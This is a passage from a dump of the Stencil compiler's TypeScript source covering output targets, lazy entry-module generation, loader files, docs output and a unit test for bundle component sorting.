bundles.map(createEntryModule);\n  } catch (e: any) {\n    catchError(buildCtx.diagnostics, e);\n  }\n\n  buildCtx.debug(`generateEntryModules, ${buildCtx.entryModules.length} entryModules`);\n}\n\n/**\n * Generates an entry module to be used during the bundling process\n * @param cmps the component metadata to create a single entry module from\n * @returns the entry module generated\n */\nfunction createEntryModule(cmps: d.ComponentCompilerMeta[]): d.EntryModule {\n  // generate a unique entry key based on the components within this entry module\n  cmps = sortBy(cmps, (c) => c.tagName);\n  const entryKey = cmps.map((c) => c.tagName).join('.') + '.entry';\n\n  return {\n    cmps,\n    entryKey,\n  };\n}\n\nconst getLazyEntry = (isBrowser: boolean): string => {\n  const s = new MagicString(``);\n  s.append(`export { setNonce } from '${STENCIL_CORE_ID}';\\n`);\n  s.append(`import { bootstrapLazy } from '${STENCIL_CORE_ID}';\\n`);\n\n  if (isBrowser) {\n    s.append(`import { patchBrowser } from '${STENCIL_INTERNAL_CLIENT_PATCH_BROWSER_ID}';\\n`);\n    s.append(`import { globalScripts } from '${STENCIL_APP_GLOBALS_ID}';\\n`);\n    s.append(`patchBrowser().then(async (options) => {\\n`);\n    s.append(`  await globalScripts();\\n`);\n    s.append(`  return bootstrapLazy([/*!__STENCIL_LAZY_DATA__*/], options);\\n`);\n    s.append(`});\\n`);\n  } else {\n    s.append(`import { globalScripts } from '${STENCIL_APP_GLOBALS_ID}';\\n`);\n    s.append(`export const defineCustomElements = async (win, options) => {\\n`);\n    s.append(`  if (typeof window === 'undefined') return undefined;\\n`);\n    s.append(`  await globalScripts();\\n`);\n    s.append(`  return bootstrapLazy([/*!__STENCIL_LAZY_DATA__*/], options);\\n`);\n    s.append(`};\\n`);\n  }\n\n  return s.toString();\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/test/generate-lazy-module.spec.ts",
    "content": "import type * as d from '../../../../declarations';\nimport { stubComponentCompilerMeta } from '../../../types/tests/ComponentCompilerMeta.stub';\nimport { sortBundleComponents } from '../generate-lazy-module';\n\ndescribe('generate-lazy-module', () => {\n  describe('sortBundleComponents', () => {\n    const PARENT_CMP_TAG = 'cmp-a';\n    const CHILD_CMP_TAG = 'cmp-b';\n    const GRANDCHILD_CMP_TAG = 'cmp-c';\n    let parentCmp: d.ComponentCompilerMeta;\n    let childCmp: d.ComponentCompilerMeta;\n    let grandChildCmp: d.ComponentCompilerMeta;\n\n    beforeEach(() => {\n      /**\n       * Create a series of components with the following hierarchy:\n       *  <cmp-a>\n       *    <cmp-b>\n       *      <cmp-c></cmp-c>\n       *    </cmp-b>\n       *  </cmp-a>\n       *\n       * Note that in the dependency arrays in each of these components, we intentionally sort non-empty arrays to\n       * mirror what Stencil's dependency calculations would generate.\n       */\n      parentCmp = stubComponentCompilerMeta({\n        componentClassName: 'ParentCmp',\n        dependents: [],\n        directDependents: [],\n        dependencies: [CHILD_CMP_TAG, GRANDCHILD_CMP_TAG].sort(),\n        directDependencies: [CHILD_CMP_TAG],\n        tagName: PARENT_CMP_TAG,\n      });\n      childCmp = stubComponentCompilerMeta({\n        componentClassName: 'ChildCmp',\n        dependents: [PARENT_CMP_TAG].sort(),\n        directDependents: [PARENT_CMP_TAG].sort(),\n        dependencies: [GRANDCHILD_CMP_TAG].sort(),\n        directDependencies: [GRANDCHILD_CMP_TAG].sort(),\n        tagName: CHILD_CMP_TAG,\n      });\n      grandChildCmp = stubComponentCompilerMeta({\n        componentClassName: 'GrandChildCmp',\n        dependents: [CHILD_CMP_TAG, PARENT_CMP_TAG].sort(),\n        directDependents: [CHILD_CMP_TAG].sort(),\n        dependencies: [],\n        directDependencies: [],\n        tagName: GRANDCHILD_CMP_TAG,\n      });\n    });\n\n    describe('directDependents', () => {\n      it(\"returns '1' when the first component lists the second as a direct dependent\", () => {\n        expect(sortBundleComponents(childCmp, parentCmp)).toEqual(1);\n      });\n\n      it(\"returns '-1' when the second component lists the first as a direct dependent\", () => {\n        expect(sortBundleComponents(parentCmp, childCmp)).toEqual(-1);\n      });\n\n      it('orders components by their directDependents', () => {\n        expect([childCmp, parentCmp].sort(sortBundleComponents)).toEqual([parentCmp, childCmp]);\n        expect([parentCmp, childCmp].sort(sortBundleComponents)).toEqual([parentCmp, childCmp]);\n\n        expect([childCmp, grandChildCmp].sort(sortBundleComponents)).toEqual([childCmp, grandChildCmp]);\n        expect([grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([childCmp, grandChildCmp]);\n\n        expect([parentCmp, grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([\n          parentCmp,\n          childCmp,\n          grandChildCmp,\n        ]);\n      });\n    });\n\n    describe('directDependencies', () => {\n      beforeEach(() => {\n        [parentCmp, childCmp, grandChildCmp].forEach((cmp) => {\n          // clear `directDependents` from each component, as it's the first criteria used to sort components (and will\n          // be used if present, which is not what we want for these tests)\n          cmp.directDependents = [];\n          // clear the other \"dependency\" field(s), to ensure that the sorting only takes `directDependents` and\n          // `tagName` into consideration\n          cmp.dependents = [];\n          cmp.dependencies = [];\n        });\n      });\n\n      it(\"returns '1' when the first component lists the second as a direct dependency\", () => {\n        expect(sortBundleComponents(parentCmp, childCmp)).toEqual(1);\n      });\n\n      it(\"returns '-1' when the second component lists the first as a direct dependency\", () => {\n        expect(sortBundleComponents(childCmp, parentCmp)).toEqual(-1);\n      });\n\n      it('orders components by their directDependencies', () => {\n        expect([childCmp, parentCmp].sort(sortBundleComponents)).toEqual([childCmp, parentCmp]);\n        expect([parentCmp, childCmp].sort(sortBundleComponents)).toEqual([childCmp, parentCmp]);\n\n        expect([childCmp, grandChildCmp].sort(sortBundleComponents)).toEqual([grandChildCmp, childCmp]);\n        expect([grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([grandChildCmp, childCmp]);\n\n        expect([childCmp, grandChildCmp, parentCmp].sort(sortBundleComponents)).toEqual([\n          parentCmp,\n          grandChildCmp,\n          childCmp,\n        ]);\n      });\n    });\n\n    describe('dependents', () => {\n      beforeEach(() => {\n        [parentCmp, childCmp, grandChildCmp].forEach((cmp) => {\n          // clear `directDependents` and `directDependencies` fields from each component, as they're checked first when\n          // we sort components (and will be used if present, which is not what we want for these tests)\n          cmp.directDependents = [];\n          cmp.directDependencies = [];\n          // clear the other \"dependency\" field(s), to ensure that the sorting only takes `directDependents` and\n          // `tagName` into consideration\n          cmp.dependencies = [];\n        });\n      });\n\n      it(\"returns '1' when the first component lists the second as a dependent\", () => {\n        expect(sortBundleComponents(grandChildCmp, childCmp)).toEqual(1);\n      });\n\n      it(\"returns '-1' when the second component lists the first as a dependent\", () => {\n        expect(sortBundleComponents(childCmp, grandChildCmp)).toEqual(-1);\n      });\n\n      it('orders components by their dependent', () => {\n        expect([childCmp, grandChildCmp].sort(sortBundleComponents)).toEqual([childCmp, grandChildCmp]);\n        expect([grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([childCmp, grandChildCmp]);\n\n        // `parentCmp` doesn't have any tags in its `dependents` field, but `childCmp` has `parentCmp`'s tag name in its\n        // `dependents` list\n        expect([childCmp, parentCmp].sort(sortBundleComponents)).toEqual([parentCmp, childCmp]);\n        expect([parentCmp, childCmp].sort(sortBundleComponents)).toEqual([parentCmp, childCmp]);\n\n        expect([parentCmp, grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([\n          parentCmp,\n          childCmp,\n          grandChildCmp,\n        ]);\n      });\n\n      describe('no overlapping dependents', () => {\n        beforeEach(() => {\n          parentCmp.dependents = ['unique-cmp-1', 'unique-cmp-2'];\n          childCmp.dependents = ['unique-cmp-3'];\n        });\n\n        it(\"returns '-1' when the first component has less dependents than the second\", () => {\n          expect(sortBundleComponents(childCmp, parentCmp)).toEqual(-1);\n        });\n\n        it(\"returns '1' when the first component has more dependents than the second\", () => {\n          expect(sortBundleComponents(parentCmp, childCmp)).toEqual(1);\n        });\n      });\n    });\n\n    describe('dependencies', () => {\n      beforeEach(() => {\n        [parentCmp, childCmp, grandChildCmp].forEach((cmp) => {\n          // clear `directDependents`, `directDependencies`, and `dependents` fields from each component, as they're\n          // checked first when we sort components (and will be used if present, which is not what we want for these\n          // tests). this ensures that the sorting only takes `dependencies` and `tagName` into account\n          cmp.directDependents = [];\n          cmp.directDependencies = [];\n          cmp.dependents = [];\n        });\n      });\n\n      it(\"returns '1' when the first component lists the second as a dependency\", () => {\n        expect(sortBundleComponents(parentCmp, childCmp)).toEqual(1);\n      });\n\n      it(\"returns '-1' when the second component lists the first as a dependency\", () => {\n        expect(sortBundleComponents(childCmp, parentCmp)).toEqual(-1);\n      });\n\n      it('orders components by their dependencies', () => {\n        expect([parentCmp, childCmp].sort(sortBundleComponents)).toEqual([childCmp, parentCmp]);\n        expect([childCmp, parentCmp].sort(sortBundleComponents)).toEqual([childCmp, parentCmp]);\n\n        // `grandChildCmp` doesn't have any tags in its `dependencies` field, but `childCmp` has `grandChildCmp`'s tag\n        // name in its `dependencies` list\n        expect([childCmp, grandChildCmp].sort(sortBundleComponents)).toEqual([grandChildCmp, childCmp]);\n        expect([grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([grandChildCmp, childCmp]);\n\n        expect([parentCmp, grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([\n          grandChildCmp,\n          childCmp,\n          parentCmp,\n        ]);\n      });\n\n      describe('no overlapping dependencies', () => {\n        beforeEach(() => {\n          parentCmp.dependencies = ['unique-cmp-1', 'unique-cmp-2'];\n          childCmp.dependencies = ['unique-cmp-3'];\n          grandChildCmp.dependencies = [];\n        });\n\n        it(\"returns '-1' when the first component has more dependencies than the second\", () => {\n          expect(sortBundleComponents(parentCmp, childCmp)).toEqual(-1);\n        });\n\n        it(\"returns '1' when the first component has less dependencies than the second\", () => {\n          expect(sortBundleComponents(childCmp, parentCmp)).toEqual(1);\n        });\n\n        it('orders components by their dependencies', () => {\n          expect([parentCmp, childCmp].sort(sortBundleComponents)).toEqual([parentCmp, childCmp]);\n          expect([childCmp, parentCmp].sort(sortBundleComponents)).toEqual([parentCmp, childCmp]);\n\n          expect([childCmp, grandChildCmp].sort(sortBundleComponents)).toEqual([childCmp, grandChildCmp]);\n          expect([grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([childCmp, grandChildCmp]);\n\n          expect([parentCmp, grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([\n            parentCmp,\n            childCmp,\n            grandChildCmp,\n          ]);\n        });\n      });\n    });\n\n    describe('tag names', () => {\n      beforeEach(() => {\n        [parentCmp, childCmp, grandChildCmp].forEach((cmp) => {\n          // clear all dependency fields from each component, so that we may only take the `tagName` into account\n          cmp.directDependents = [];\n          cmp.directDependencies = [];\n          cmp.dependents = [];\n          cmp.dependencies = [];\n        });\n      });\n\n      it(\"returns '-1' when the first component's tag name comes first alphabetically\", () => {\n        expect(sortBundleComponents(parentCmp, childCmp)).toEqual(-1);\n      });\n\n      it(\"returns '1' when the first component's tag name comes second alphabetically\", () => {\n        expect(sortBundleComponents(childCmp, parentCmp)).toEqual(1);\n      });\n\n      it(\"returns '0' when the tag names are the same\", () => {\n        expect(sortBundleComponents(parentCmp, parentCmp)).toEqual(0);\n      });\n\n      it('orders components by their tag names', () => {\n        expect([parentCmp, childCmp].sort(sortBundleComponents)).toEqual([parentCmp, childCmp]);\n        expect([childCmp, parentCmp].sort(sortBundleComponents)).toEqual([parentCmp, childCmp]);\n\n        expect([childCmp, grandChildCmp].sort(sortBundleComponents)).toEqual([childCmp, grandChildCmp]);\n        expect([grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([childCmp, grandChildCmp]);\n\n        expect([parentCmp, grandChildCmp, childCmp].sort(sortBundleComponents)).toEqual([\n          parentCmp,\n          childCmp,\n          grandChildCmp,\n        ]);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/dist-lazy/write-lazy-entry-module.ts",
    "content": "import { getSourceMappingUrlForEndOfFile, join } from '@utils';\n\nimport type * as d from '../../../declarations';\n\nexport const writeLazyModule = async (\n  compilerCtx: d.CompilerCtx,\n  outputTargetType: string,\n  destinations: string[],\n  code: string,\n  sourceMap: d.SourceMap,\n  rollupResult?: d.RollupChunkResult,\n): Promise<d.BundleModuleOutput> => {\n  // code = replaceStylePlaceholders(entryModule.cmps, modeName, code);\n\n  const fileName = rollupResult.fileName;\n  const bundleId = fileName.replace('.entry.js', '');\n\n  if (sourceMap) {\n    code = code + getSourceMappingUrlForEndOfFile(fileName);\n  }\n\n  await Promise.all(\n    destinations.map((dst) => {\n      const jsPath = join(dst, fileName);\n      const mapPath = jsPath + '.map';\n      const writes: Promise<any>[] = [compilerCtx.fs.writeFile(jsPath, code, { outputTargetType })];\n      if (!!sourceMap) {\n        writes.push(compilerCtx.fs.writeFile(mapPath, JSON.stringify(sourceMap), { outputTargetType }));\n      }\n      return Promise.all(writes);\n    }),\n  );\n\n  return {\n    bundleId,\n    fileName,\n    code,\n  };\n};\n"
  },
  {
    "path": "src/compiler/output-targets/empty-dir.ts",
    "content": "import {\n  isOutputTargetDist,\n  isOutputTargetDistCustomElements,\n  isOutputTargetDistLazy,\n  isOutputTargetDistLazyLoader,\n  isOutputTargetHydrate,\n  isOutputTargetWww,\n  isString,\n} from '@utils';\n\nimport type * as d from '../../declarations';\n\ntype OutputTargetEmptiable =\n  | d.OutputTargetDist\n  | d.OutputTargetWww\n  | d.OutputTargetDistLazyLoader\n  | d.OutputTargetHydrate;\n\nconst isEmptable = (o: d.OutputTarget): o is OutputTargetEmptiable =>\n  isOutputTargetDist(o) ||\n  isOutputTargetDistCustomElements(o) ||\n  isOutputTargetWww(o) ||\n  isOutputTargetDistLazy(o) ||\n  isOutputTargetDistLazyLoader(o) ||\n  isOutputTargetHydrate(o);\n\nexport const emptyOutputTargets = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n) => {\n  if (buildCtx.isRebuild) {\n    return;\n  }\n  const cleanDirs = config.outputTargets\n    .filter(isEmptable)\n    .filter((o) => o.empty === true)\n    .map((o) => o.dir || (o as any).esmDir)\n    .filter(isString);\n\n  if (cleanDirs.length === 0) {\n    return;\n  }\n\n  const timeSpan = buildCtx.createTimeSpan(`cleaning ${cleanDirs.length} dirs`, true);\n  await compilerCtx.fs.emptyDirs(cleanDirs);\n\n  timeSpan.finish('cleaning dirs finished');\n};\n"
  },
  {
    "path": "src/compiler/output-targets/index.ts",
    "content": "import type { RollupCache } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport { outputCopy } from './copy/output-copy';\nimport { outputCollection } from './dist-collection';\nimport { outputCustomElements } from './dist-custom-elements';\nimport { outputHydrateScript } from './dist-hydrate-script';\nimport { outputLazy } from './dist-lazy/lazy-output';\nimport { outputCustom } from './output-custom';\nimport { outputDocs } from './output-docs';\nimport { outputLazyLoader } from './output-lazy-loader';\nimport { outputTypes } from './output-types';\nimport { outputWww } from './output-www';\n\nexport const generateOutputTargets = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n) => {\n  const timeSpan = buildCtx.createTimeSpan('generate outputs started', true);\n\n  const changedModuleFiles = Array.from(compilerCtx.changedModules)\n    .map((filename) => compilerCtx.moduleMap.get(filename))\n    .filter((mod) => mod && !mod.isCollectionDependency);\n\n  compilerCtx.changedModules.clear();\n\n  invalidateRollupCaches(compilerCtx);\n\n  await Promise.all([\n    outputCollection(config, compilerCtx, buildCtx, changedModuleFiles),\n    outputCustomElements(config, compilerCtx, buildCtx),\n    outputHydrateScript(config, compilerCtx, buildCtx),\n    outputLazyLoader(config, compilerCtx),\n    outputLazy(config, compilerCtx, buildCtx),\n  ]);\n\n  await Promise.all([\n    // the user may want to copy compiled assets which requires above tasks to\n    // have finished first\n    outputCopy(config, compilerCtx, buildCtx),\n\n    // the www output target depends on the output of the lazy output target\n    // since it attempts to inline the lazy build entry point into `index.html`\n    // so we want to ensure that the lazy OT has already completed and written\n    // all of its files before the www OT runs.\n    outputWww(config, compilerCtx, buildCtx),\n\n    // must run after all the other outputs\n    // since it validates files were created\n    outputDocs(config, compilerCtx, buildCtx),\n    outputTypes(config, compilerCtx, buildCtx),\n    outputCustom(config, compilerCtx, buildCtx),\n  ]);\n\n  timeSpan.finish('generate outputs finished');\n};\n\nconst invalidateRollupCaches = (compilerCtx: d.CompilerCtx) => {\n  const invalidatedIds = compilerCtx.changedFiles;\n  compilerCtx.rollupCache.forEach((cache: RollupCache) => {\n    cache.modules.forEach((mod) => {\n      if (mod.transformDependencies.some((id) => invalidatedIds.has(id))) {\n        mod.originalCode = null;\n      }\n    });\n  });\n};\n"
  },
  {
    "path": "src/compiler/output-targets/output-custom.ts",
    "content": "import { catchError, isOutputTargetCustom } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { generateDocData } from '../docs/generate-doc-data';\n\nexport const outputCustom = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  if (config._isTesting) {\n    return;\n  }\n\n  const task = config.watch ? 'always' : 'onBuildOnly';\n  const customOutputTargets = config.outputTargets\n    .filter(isOutputTargetCustom)\n    .filter((o) => (o.taskShouldRun === undefined ? true : o.taskShouldRun === task));\n\n  if (customOutputTargets.length === 0) {\n    return;\n  }\n  const docsData = await generateDocData(config, compilerCtx, buildCtx);\n\n  await Promise.all(\n    customOutputTargets.map(async (o) => {\n      const timespan = buildCtx.createTimeSpan(`generating ${o.name} started`);\n      try {\n        await o.generator(config, compilerCtx, buildCtx, docsData);\n      } catch (e: any) {\n        catchError(buildCtx.diagnostics, e);\n      }\n      timespan.finish(`generate ${o.name} finished`);\n    }),\n  );\n};\n"
  },
  {
    "path": "src/compiler/output-targets/output-docs.ts",
    "content": "import {\n  isOutputTargetDocsCustom,\n  isOutputTargetDocsCustomElementsManifest,\n  isOutputTargetDocsJson,\n  isOutputTargetDocsReadme,\n  isOutputTargetDocsVscode,\n  join,\n  normalizePath,\n} from '@utils';\n\nimport type * as d from '../../declarations';\nimport { generateCustomDocs } from '../docs/custom';\nimport { generateCustomElementsManifestDocs } from '../docs/cem';\nimport { generateDocData } from '../docs/generate-doc-data';\nimport { generateJsonDocs } from '../docs/json';\nimport { generateReadmeDocs } from '../docs/readme';\nimport { extractExistingCssProps } from '../docs/readme/output-docs';\nimport { generateVscodeDocs } from '../docs/vscode';\n\n/**\n * Generate documentation-related output targets\n * @param config the configuration associated with the current Stencil task run\n * @param compilerCtx the current compiler context\n * @param buildCtx the build context for the current Stencil task run\n */\nexport const outputDocs = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<void> => {\n  if (!config.buildDocs) {\n    return;\n  }\n  const docsOutputTargets = config.outputTargets.filter(\n    (o) =>\n      isOutputTargetDocsReadme(o) ||\n      isOutputTargetDocsJson(o) ||\n      isOutputTargetDocsCustom(o) ||\n      isOutputTargetDocsVscode(o) ||\n      isOutputTargetDocsCustomElementsManifest(o),\n  );\n\n  if (docsOutputTargets.length === 0) {\n    return;\n  }\n\n  // ensure all the styles are built first, which parses all the css docs\n  await buildCtx.stylesPromise;\n\n  const docsData = await generateDocData(config, compilerCtx, buildCtx);\n\n  // If we're in docs-only mode (not a full build), preserve CSS Custom Properties\n  // from existing README files for components with empty styles.\n  // We detect docs-only mode by checking if ALL output targets are docs targets.\n  const isDocsOnlyMode = config.outputTargets.every(\n    (target) =>\n      target.type === 'docs-readme' ||\n      target.type === 'docs-json' ||\n      target.type === 'docs-custom' ||\n      target.type === 'docs-vscode' ||\n      target.type === 'docs-custom-elements-manifest',\n  );\n\n  if (isDocsOnlyMode) {\n    // Preserve CSS props for components with empty styles\n    await Promise.all(\n      docsData.components.map(async (component) => {\n        if (component.styles.length === 0) {\n          // Find the README output target to get the correct path\n          const readmeTarget = docsOutputTargets.find(isOutputTargetDocsReadme) as d.OutputTargetDocsReadme | undefined;\n          const readmeDir = readmeTarget?.dir || config.srcDir;\n          const readmePath =\n            normalizePath(readmeDir) === normalizePath(config.srcDir)\n              ? component.readmePath\n              : join(readmeDir, component.readmePath.replace(config.srcDir, ''));\n\n          const existingCssProps = await extractExistingCssProps(compilerCtx, readmePath);\n          if (existingCssProps) {\n            // Update component styles with preserved props\n            component.styles = existingCssProps;\n          }\n        }\n      }),\n    );\n  }\n\n  await Promise.all([\n    generateReadmeDocs(config, compilerCtx, docsData, docsOutputTargets),\n    generateJsonDocs(config, compilerCtx, docsData, docsOutputTargets),\n    generateVscodeDocs(compilerCtx, docsData, docsOutputTargets),\n    generateCustomDocs(config, docsData, docsOutputTargets),\n    generateCustomElementsManifestDocs(compilerCtx, docsData, docsOutputTargets),\n  ]);\n};\n"
  },
  {
    "path": "src/compiler/output-targets/output-lazy-loader.ts",
    "content": "import { generatePreamble, isOutputTargetDistLazyLoader, join, relative, relativeImport } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { getClientPolyfill } from '../app-core/app-polyfills';\n\nexport const outputLazyLoader = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx) => {\n  const outputTargets = config.outputTargets.filter(isOutputTargetDistLazyLoader);\n  if (outputTargets.length === 0) {\n    return;\n  }\n\n  await Promise.all(outputTargets.map((o) => generateLoader(config, compilerCtx, o)));\n};\n\nconst generateLoader = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  outputTarget: d.OutputTargetDistLazyLoader,\n) => {\n  const loaderPath = outputTarget.dir;\n  const es2017Dir = outputTarget.esmDir;\n  const es5Dir = outputTarget.esmEs5Dir || es2017Dir;\n  const cjsDir = outputTarget.cjsDir;\n\n  if (!loaderPath || !es2017Dir || !cjsDir) {\n    return;\n  }\n\n  const es5HtmlElement = await getClientPolyfill(config, compilerCtx, 'es5-html-element.js');\n  const polyfillsEntryPoint = join(es2017Dir, 'polyfills/index.js');\n  const polyfillsExport = `export * from '${relative(loaderPath, polyfillsEntryPoint)}';`;\n\n  const es5EntryPoint = join(es5Dir, 'loader.js');\n  const indexContent = filterAndJoin([\n    generatePreamble(config),\n    es5HtmlElement,\n    config.buildEs5 ? polyfillsExport : null,\n    `export * from '${relative(loaderPath, es5EntryPoint)}';`,\n  ]);\n\n  const es2017EntryPoint = join(es2017Dir, 'loader.js');\n  const indexES2017Content = filterAndJoin([\n    generatePreamble(config),\n    config.buildEs5 ? polyfillsExport : null,\n    `export * from '${relative(loaderPath, es2017EntryPoint)}';`,\n  ]);\n\n  const cjsEntryPoint = join(cjsDir, 'loader.cjs.js');\n  const indexCjsContent = filterAndJoin([\n    generatePreamble(config),\n    `module.exports = require('${relative(loaderPath, cjsEntryPoint)}');`,\n    config.buildEs5 ? `module.exports.applyPolyfills = function() { return Promise.resolve() };` : null,\n  ]);\n\n  const indexDtsPath = join(loaderPath, 'index.d.ts');\n\n  await Promise.all([\n    compilerCtx.fs.writeFile(join(loaderPath, 'index.d.ts'), generateIndexDts(indexDtsPath, outputTarget.componentDts)),\n    compilerCtx.fs.writeFile(join(loaderPath, 'index.js'), indexContent),\n    compilerCtx.fs.writeFile(join(loaderPath, 'index.cjs.js'), indexCjsContent),\n    compilerCtx.fs.writeFile(join(loaderPath, 'cdn.js'), indexCjsContent),\n    compilerCtx.fs.writeFile(join(loaderPath, 'index.es2017.js'), indexES2017Content),\n  ]);\n};\n\nconst generateIndexDts = (indexDtsPath: string, componentsDtsPath: string) => {\n  return `export * from '${relativeImport(indexDtsPath, componentsDtsPath, '.d.ts')}';\nexport interface CustomElementsDefineOptions {\n  exclude?: string[];\n  resourcesUrl?: string;\n  syncQueue?: boolean;\n  jmp?: (c: Function) => any;\n  raf?: (c: FrameRequestCallback) => number;\n  ael?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;\n  rel?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;\n}\nexport declare function defineCustomElements(win?: Window, opts?: CustomElementsDefineOptions): void;\n/**\n * @deprecated\n */\nexport declare function applyPolyfills(): Promise<void>;\n\n/**\n * Used to specify a nonce value that corresponds with an application's CSP.\n * When set, the nonce will be added to all dynamically created script and style tags at runtime.\n * Alternatively, the nonce value can be set on a meta tag in the DOM head\n * (<meta name=\"csp-nonce\" content=\"{ nonce value here }\" />) which\n * will result in the same behavior.\n */\nexport declare function setNonce(nonce: string): void;\n`;\n};\n\n/**\n * Given an array of 'parts' which can be assembled into a string 1) filter\n * out any parts that are `null` and 2) join the remaining strings into a single\n * output string\n *\n * @param parts an array of parts to filter and join\n * @returns the joined string\n */\nfunction filterAndJoin(parts: (string | null)[]): string {\n  return parts\n    .filter((part) => part !== null)\n    .join('\\n')\n    .trim();\n}\n"
  },
  {
    "path": "src/compiler/output-targets/output-service-workers.ts",
    "content": "import { isOutputTargetWww } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { generateServiceWorker } from '../service-worker/generate-sw';\n\n/**\n * Entrypoint to creating a service worker for every `www` output target\n * @param config the Stencil configuration used for the build\n * @param buildCtx the build context associated with the build to mark as done\n */\nexport const outputServiceWorkers = async (config: d.ValidatedConfig, buildCtx: d.BuildCtx): Promise<void> => {\n  const wwwServiceOutputs = config.outputTargets\n    .filter(isOutputTargetWww)\n    .filter((o) => typeof o.indexHtml === 'string' && !!o.serviceWorker);\n\n  if (wwwServiceOutputs.length === 0 || config.sys.lazyRequire == null) {\n    return;\n  }\n\n  // let's make sure they have what we need from workbox installed\n  const diagnostics = await config.sys.lazyRequire.ensure(config.rootDir, ['workbox-build']);\n  if (diagnostics.length > 0) {\n    buildCtx.diagnostics.push(...diagnostics);\n  } else {\n    // we've ensured workbox is installed, so let's require it now\n    const workbox: d.Workbox = config.sys.lazyRequire.require(config.rootDir, 'workbox-build');\n\n    await Promise.all(\n      wwwServiceOutputs.map((outputTarget) => generateServiceWorker(config, buildCtx, workbox, outputTarget)),\n    );\n  }\n};\n"
  },
  {
    "path": "src/compiler/output-targets/output-types.ts",
    "content": "import { isOutputTargetDistTypes } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { generateTypes } from '../types/generate-types';\n\n/**\n * Entrypoint for generating types for all output targets\n * @param config the Stencil configuration associated with the project being compiled\n * @param compilerCtx the current compiler context\n * @param buildCtx the context associated with the current build\n */\nexport const outputTypes = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<void> => {\n  const outputTargets = config.outputTargets.filter(isOutputTargetDistTypes);\n  if (outputTargets.length === 0) {\n    return;\n  }\n\n  const timespan = buildCtx.createTimeSpan(`generate types started`, true);\n\n  await Promise.all(outputTargets.map((outputsTarget) => generateTypes(config, compilerCtx, buildCtx, outputsTarget)));\n\n  timespan.finish(`generate types finished`);\n};\n"
  },
  {
    "path": "src/compiler/output-targets/output-www.ts",
    "content": "import { cloneDocument, serializeNodeToHtml } from '@stencil/core/mock-doc';\nimport { catchError, flatOne, isOutputTargetWww, join, relative, unique } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { generateEs5DisabledMessage } from '../app-core/app-es5-disabled';\nimport { addScriptDataAttribute } from '../html/add-script-attr';\nimport { getAbsoluteBuildDir } from '../html/html-utils';\nimport { optimizeCriticalPath } from '../html/inject-module-preloads';\nimport { updateIndexHtmlServiceWorker } from '../html/inject-sw-script';\nimport { optimizeEsmImport } from '../html/inline-esm-import';\nimport { inlineStyleSheets } from '../html/inline-style-sheets';\nimport { updateGlobalStylesLink } from '../html/update-global-styles-link';\nimport { getUsedComponents } from '../html/used-components';\nimport { generateHashedCopy } from '../output-targets/copy/hashed-copy';\nimport { INDEX_ORG } from '../service-worker/generate-sw';\nimport { getScopeId } from '../style/scope-css';\n\n/**\n * Run a {@link d.OutputTargetWww} build. This involves generating `index.html`\n * for the build which imports the output of the lazy build and also generating\n * a host configuration record.\n *\n * @param config the current user-supplied config\n * @param compilerCtx a compiler context\n * @param buildCtx a build context\n */\nexport const outputWww = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<void> => {\n  const outputTargets = config.outputTargets.filter(isOutputTargetWww);\n  if (outputTargets.length === 0) {\n    return;\n  }\n\n  const timespan = buildCtx.createTimeSpan(`generate www started`, true);\n  const criticalBundles = getCriticalPath(buildCtx);\n\n  await Promise.all(\n    outputTargets.map((outputTarget) => generateWww(config, compilerCtx, buildCtx, criticalBundles, outputTarget)),\n  );\n\n  timespan.finish(`generate www finished`);\n};\n\n/**\n * Derive the 'critical path' for our HTML content, which is a list of the\n * bundles that it will need to render correctly.\n *\n * @param buildCtx the current build context\n * @returns a list of bundles that need to be pulled in\n */\nconst getCriticalPath = (buildCtx: d.BuildCtx) => {\n  const componentGraph = buildCtx.componentGraph;\n  if (!buildCtx.indexDoc || !componentGraph) {\n    return [];\n  }\n  return unique(\n    flatOne(\n      getUsedComponents(buildCtx.indexDoc, buildCtx.components)\n        .map((tagName) => getScopeId(tagName))\n        .map((scopeId) => buildCtx.componentGraph.get(scopeId) || []),\n    ),\n  ).sort();\n};\n\n/**\n * Process a single www output target, generating an `index.html` file and a\n * host config (and writing both to disk)\n *\n * @param config the current user-supplied config\n * @param compilerCtx a compiler context\n * @param buildCtx a build context\n * @param criticalPath a list of critical bundles\n * @param outputTarget the www output target of interest\n */\nconst generateWww = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  criticalPath: string[],\n  outputTarget: d.OutputTargetWww,\n): Promise<void> => {\n  if (!config.buildEs5) {\n    await generateEs5DisabledMessage(config, compilerCtx, outputTarget);\n  }\n\n  // Copy global styles into the 